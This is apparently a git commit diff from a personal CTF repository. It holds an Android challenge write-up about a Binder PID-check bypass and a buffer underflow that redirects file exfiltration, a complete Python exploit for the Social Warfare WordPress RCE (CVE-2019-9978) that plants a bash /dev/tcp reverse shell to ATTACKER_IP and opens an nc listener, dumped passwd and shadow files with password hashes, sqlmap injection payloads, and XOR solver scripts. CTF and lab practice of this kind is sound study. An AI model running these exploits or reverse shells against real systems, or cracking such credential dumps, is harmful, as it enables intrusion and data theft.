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cato447
2026-06-12 00:36:55 +02:00
parent a5e327d7f7
commit d90e4ede1a
17 changed files with 2462 additions and 216 deletions
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2
.gitignore vendored
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@@ -2,3 +2,5 @@
.venv/
__pycache__/
core.*
/2026/usd_hackertag/ovpn_HT26MU06.conf
/2026/usd_hackertag/freya/linpeas.sh

BIN
2026/cscg/pwn/canopysaurus/ecu_sim.i64 Normal file
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149
2026/insomnihack/mobile/peaky_binders/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk.jadx
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@@ -1,149 +0,0 @@
{
"projectVersion": 2,
"files": [
"../PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk"
],
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},
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"index": 131080
},
"newName": "serverUrl"
},
{
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"shortId": "DebugCheckFile([B)V"
},
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]
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"cacheDir": "/home/cato/.cache/jadx/projects/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969-d1321210fa1b70152852835e73296d91",
"enableLiveReload": false,
"searchHistory": [],
"searchResourcesFilter": "$TEXT",
"searchResourcesSizeLimit": 0,
"pluginOptions": {}
}

130
2026/insomnihack/mobile/peaky_binders/writeup.md
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@@ -33,7 +33,6 @@ The app seems to be used as an Achievement Tracker:
The first two achievements are trivial. For the first you have to enter a name containing `shelby`. The second requires to press a button twenty times.
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: `DebugCheckFile`, `isAchievmentUnlocked` and `enableDebugMode`.
This is our entry point for the exploit.
The function `DebugCheckFile` unlocks the third achievement. This has to be the secret command.
@@ -47,10 +46,48 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
}
Log.d("PeakyService", "Called from a root process: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
String str = new String(bArr);
PeakyService.this.logToFile("Caller name: ".concat(str));
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
//[28 lines of Code removed for clarity]
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
PeakyService.this.sendBroadcast(intent);
}
```
### Bypass the root requirement
To unlock the third achievement we have to call the method from a process with `PID = 0`.
Usually having a PID of `0` is not possible for normal user space processes.
Thankfully the Android API helps us out.
The [Android API reference](https://developer.android.com/reference/android/os/Binder#getCallingPid()) for `Binder.getCallingPid` states the following:
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
The wrongful usage of `Binder.getCallingPid` as an authorization mechanism makes the PID check trivial to pass.
```java
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken(TOKEN);
data.writeByteArray(payload);
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check)
peakyBinder.transact(TRANSACTION, data, null, 1);
data.recycle();
}
```
Wuhu we got the third achievement!
I hoped that the flag is then somehow shown on the screen but this was not the case.
### Further analysis
I left out 28 lines of code from `DebugCheckFile` earlier:
```java
String str = new String(bArr);
PeakyService.this.logToFile("Caller name: ".concat(str));
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
final String serverUrl = strArrRetrieveLog[0];
final String log_content = strArrRetrieveLog[1];
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
@@ -75,48 +112,14 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
}
}
}).start();
}
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
PeakyService.this.sendBroadcast(intent);
}
```
### Bypass the root requirement
The first problem to tackle is to circumvent the root check.
```java
int callingPid = Binder.getCallingPid();
if (callingPid != 0) {
Log.d("PeakyService", "We allow a root process only: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
return;
}
```
The Android API reference for Binder.getCallingPid states the following https://developer.android.com/reference/android/os/Binder#getCallingPid()
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
To abuse this bug you can use a function like this (by the courtesy of Claude):
```java
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken(TOKEN);
data.writeByteArray(payload);
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check)
peakyBinder.transact(TRANSACTION, data, null, 1);
data.recycle();
}
```
This proves there is a way to call DebugCheckFile and get our third achievement but there is still no flag in sight.
### Leak file content
`DebugCheckFile` sends logs to some server. The log content and the server URL come from `RetrieveLog`. This seems to be some functionality for debugging or telemetry purposes.
Looking a bit further into the function the content and server url is fetched by `String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str)`.
### Weaponizing telemetry
RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named `libpeaky.so`.
```java
static {
System.loadLibrary("peaky");
@@ -126,18 +129,16 @@ static {
public native String[] RetrieveLog(String str);
```
This just turned into a x86_64 reversing challenge!
Using IDA I found out that the Java string that is passed to the function is consumed by `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
The function accepts a Java string that acts as a command, reads the last 2048 bytes of a log file to a buffer, and returns a two-element Java String[] array containing a server URL and the log contents.
By examining the callerTag comparisons in the decompiled source, I identified two valid commands: `FULL` and `PARTIAL`.
The command is parsed with `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
Because of this a command has the format `"<command>:<offset>:<separator>"`.
There are two commands: `FULL` and `PARTIAL`
As per my understanding both commands only differ slightly. The `PARTIAL` command writes `separatorChar` at `partialOffset` in the buffer.
Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen.
The only difference is that the `PARTIAL` command additionally writes `separatorChar` into the buffer at `partialOffset` before returning.
This is the logic for writing the separator into the buffer:
```
```c
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
{
clampedOffset = partialOffset;
@@ -156,37 +157,34 @@ if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
g_fileBuffer[separatorPos] = separatorChar;
}
```
The security problem here is that `clampedOffset` and `partialOffset` are both signed integers.
When `clampedOffset` is negative, like `-1`, the subtraction wraps:
The vulnerability lies in the fact that both `clampedOffset` and `partialOffset` are signed integers. The upper bound check `partialOffset >= 2049` correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When `calmpedOffset` is negative the subtraction wraps upwards.
```
2048 - (-1) = 2049
```
`g_fileBuffer[2049]` is the first byte **past** the buffer, which lands exactly on `g_serverUrl[0]`.
`g_fileBuffer[2049]` is one byte **past** the end of the buffer, which lands exactly on `g_serverUrl[0]`. More generally, to write to `g_serverUrl[i]` we need `separatorPos = 2049 + i`
Generalizing: to write to `g_serverUrl[i]` you need `separatorPos = 2049 + i` which means:
```
2048 - clampedOffset = 2049 + i
clampedOffset = -(1 + i)
```
This allows an attacker to change the URL byte for byte.
Same thing can be done with the logFilePath (here with an offset of `65` and not `1`).
This gives an attacker byte-by-byte control over `g_serverUrl`. The same technique applies to `g_logFilePath`, which sits 65 bytes past the end of the buffer.
Memory layout in .data:
The relevant memory layout in .data is:
```
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
g_serverUrl @ 0x41D9 (64 bytes)
g_logFilePath @ 0x4219 (64 bytes)
```
By overwriting `g_serverUrl` to an attacker-controlled server and `g_logFilePath` to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL.
Using this we now have an arbitrary file read.
### Flag location
We still need to find the Flag.
At this point I remembered that the achievements are loaded on start from a file.
This indicates that the app as some form of context or environment variables.
```java
private SharedPreferences prefs;
@@ -213,20 +211,21 @@ private void loadProgress() {
this.adapter.notifyDataSetChanged();
}
```
I asked Claude where these SharedPreferences are stored.
It not only told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml` it also said this is a common flag hiding spot for CTFs.
It told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml`.
### Writing the Exploit
This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs.
As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude.
It feels a bit filthy but trying to first blood the challenge made me rush.
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
To circumvent the `PID == 0` check the sendOnewayTransaction function from above is used.
To circumvent the `PID == 0` check the `sendOnewayTransaction` function from above is used.
```java
package com.hacker.exploit;
import android.app.Activity;
@@ -243,7 +242,7 @@ import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "Exploit";
private IBinder peakyBinder;
private static final String WEBHOOK_URL = <WEBHOOK_URL>";
private static final String WEBHOOK_URL = "<WEBHOOK_URL>";
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private ServiceConnection connection = new ServiceConnection() {
@@ -303,3 +302,8 @@ public class MainActivity extends Activity {
}
```
### Conclusion
I am happy that the flag was indeed stored at `/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml`. At the time I had no further ideas where the flag could be hidden.
This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.

5
2026/kalmar/misc/git-hoarder/exploit.sh Normal file → Executable file
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@@ -27,5 +27,8 @@ git commit -m "Delivery package with refs tracked"
# 6. Push to your server
git branch -M main
git remote add origin https://gitea.cato447.de/cato447/pwn.git
git remote add origin ssh://git@gitea.cato447.de:222/cato447/pwn.git
git push -u origin main -f
cd ..
rm -rf base_repo malicious.git wrapper

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2026/usd_hackertag/freya/crack_input Normal file
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@@ -0,0 +1,31 @@
root:$6$mbIzpNIo$XElePqDmVNcUEhdU0nH1eQYvRvU1xQqQOM3F38Zceslqiz0tYTc1iAMxFXTt9TKlXsslPvLoLuMlE/n83iNce/:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:*:104:65534::/nonexistent:/bin/false
messagebus:*:105:109::/var/run/dbus:/bin/false
sshd:*:106:65534::/run/sshd:/usr/sbin/nologin
user:$6$RGsJnnEH$mma2lPBOwYMp.3JZ/8dhUW4LZ6Mxee2d52wUiQyxMNOXjzUY5PG.SvfmkriTdHgn5WX7OsBo2AOiPCEEMtTN1.:1000:1000:user,,,:/home/user:/bin/bash
mysql:!:107:111:MySQL Server,,,:/nonexistent:/bin/false
ftp:*:108:112:ftp daemon,,,:/srv/ftp:/bin/false
smmta:*:109:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:*:110:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
baldur:$6$/ScR4vLK$8XCAkPccvTAycL8fOxZagyk.vy54EqmdTcZQWQI.gzcygN6C5Iy35bMI65TZliwP6acrGpnhRBZKFrexoNGtu/:1001:1001::/home/baldur:

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2026/usd_hackertag/freya/exploit.py Normal file
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@@ -0,0 +1,105 @@
#!/usr/bin/env python3
# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# Version: <= 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978
# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments
# Usage:
# 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
# 2. Run the script: `python3 exploit.py`
# 3. It will:
# - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
# - Start an HTTP server on `HTTP_PORT` to host the payload
# - Start a Netcat listener on `LISTEN_PORT`
# - Trigger the vulnerability via the vulnerable `swp_debug` parameter
# 4. On success, you get a reverse shell as `www-data`.
#
# Note:
# - PAYLOAD_FILE defines only the name of the file to be created and served.
# - Make sure ports 8001 and 4444 are open and not in use.
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
import random
# --- Config ---
TARGET_URL = "http://10.2.66.5/yggdrasil"
ATTACKER_IP = "10.1.0.172" # Change to your attack box IP
HTTP_PORT = 80
LISTEN_PORT = random.randint(40000,65555)
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")

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2026/usd_hackertag/freya/out.txt Normal file
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2026/usd_hackertag/freya/passwd Normal file
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@@ -0,0 +1,31 @@
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:108:112:ftp daemon,,,:/srv/ftp:/bin/false
smmta:x:109:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:110:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
baldur:x:1001:1001::/home/baldur:

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2026/usd_hackertag/freya/shadow Normal file
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@@ -0,0 +1,31 @@
root:$6$mbIzpNIo$XElePqDmVNcUEhdU0nH1eQYvRvU1xQqQOM3F38Zceslqiz0tYTc1iAMxFXTt9TKlXsslPvLoLuMlE/n83iNce/:20579:0:99999:7:::
daemon:*:17569:0:99999:7:::
bin:*:17569:0:99999:7:::
sys:*:17569:0:99999:7:::
sync:*:17569:0:99999:7:::
games:*:17569:0:99999:7:::
man:*:17569:0:99999:7:::
lp:*:17569:0:99999:7:::
mail:*:17569:0:99999:7:::
news:*:17569:0:99999:7:::
uucp:*:17569:0:99999:7:::
proxy:*:17569:0:99999:7:::
www-data:*:17569:0:99999:7:::
backup:*:17569:0:99999:7:::
list:*:17569:0:99999:7:::
irc:*:17569:0:99999:7:::
gnats:*:17569:0:99999:7:::
nobody:*:17569:0:99999:7:::
systemd-timesync:*:17569:0:99999:7:::
systemd-network:*:17569:0:99999:7:::
systemd-resolve:*:17569:0:99999:7:::
systemd-bus-proxy:*:17569:0:99999:7:::
_apt:*:17569:0:99999:7:::
messagebus:*:17569:0:99999:7:::
sshd:*:17569:0:99999:7:::
user:$6$RGsJnnEH$mma2lPBOwYMp.3JZ/8dhUW4LZ6Mxee2d52wUiQyxMNOXjzUY5PG.SvfmkriTdHgn5WX7OsBo2AOiPCEEMtTN1.:17569:0:99999:7:::
mysql:!:20579:0:99999:7:::
ftp:*:20579:0:99999:7:::
smmta:*:20579:0:99999:7:::
smmsp:*:20579:0:99999:7:::
baldur:$6$/ScR4vLK$8XCAkPccvTAycL8fOxZagyk.vy54EqmdTcZQWQI.gzcygN6C5Iy35bMI65TZliwP6acrGpnhRBZKFrexoNGtu/:20579:0:99999:7:::

37
2026/usd_hackertag/maxwell/notes.md Normal file
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### sqlmap output
sqlmap identified the following injection point(s) with a total of 5599 HTTP(s) requests:
---
Parameter: product (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: product=-1399" OR 7840=7840-- CtiK
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product=AUFB" AND (SELECT 9500 FROM (SELECT(SLEEP(5)))IiPL)-- CEjp
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: product=AUFB" UNION ALL SELECT NULL,CONCAT(0x716a626271,0x586a4443534a6c465264737464587149507541587a587945725a56796552544f5078416478545242,0x71717a7171)-- -
---
do you want to exploit this SQL injection? [Y/n] Y
[17:26:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:26:46] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/cato/.local/share/sqlmap/output/results-05082026_0524pm.csv'
available databases [4]:
[*] information_schema
[*] maindb
[*] mysql
[*] performance_schema
Database: maindb
[1 table]
+----------+
| products |
+----------+
current user: 'root@localhost'

1
training/htb/challenges/rev/encrypted_data.txt Normal file
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09071148207302682C6762023E367D1A1E351F072A1D3C0B712562577E30133B71072E

BIN
training/htb/challenges/rev/ircware Normal file
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BIN
training/htb/challenges/rev/ircware.i64 Normal file
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BIN
training/htb/challenges/rev/solve Executable file
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42
training/htb/challenges/rev/solve.c Normal file
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#include <stdio.h>
char rolling_xor(char *key, char* encrypted_data)
{
char* v0 = key;
int v1 = 0;
char *i = encrypted_data;
char result;
for ( ; *i; ++i )
{
result = *v0;
*i ^= *v0++;
if ( ++v1 == 8 )
{
v0 = key;
v1 = 0;
}
}
return result;
}
int main(){
char encrypted_data[] =
{
0x09, 0x07, 0x11, 0x48, 0x20, 0x73, 0x02, 0x68, 0x2C, 0x67,
0x62, 0x02, 0x3E, 0x36, 0x7D, 0x1A, 0x1E, 0x35, 0x1F, 0x07,
0x2A, 0x1D, 0x3C, 0x0B, 0x71, 0x25, 0x62, 0x57, 0x7E, 0x30,
0x13, 0x3B, 0x71, 0x07, 0x2E, 0x00
};
char key[] =
{
0x52, 0x4A, 0x4A, 0x33, 0x44, 0x53, 0x43, 0x50, 0x00
};
rolling_xor(key, encrypted_data);
printf("decrypted: %s\n", encrypted_data);
}

25
training/htb/challenges/rev/solve.py Normal file
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from pwn import xor
with open("./encrypted_data.txt", "r") as f:
data = f.readline()
key = bytes.fromhex("524A4A3344534350")
print(len(key))
dec_key = []
for s in key:
s -= 17
if s < ord('A'):
s += 26
dec_key.append(s)
dec_key[3] = b"3"[0]
print("".join(chr(c) for c in dec_key))
data = bytes.fromhex(data)
print(xor(data, dec_key))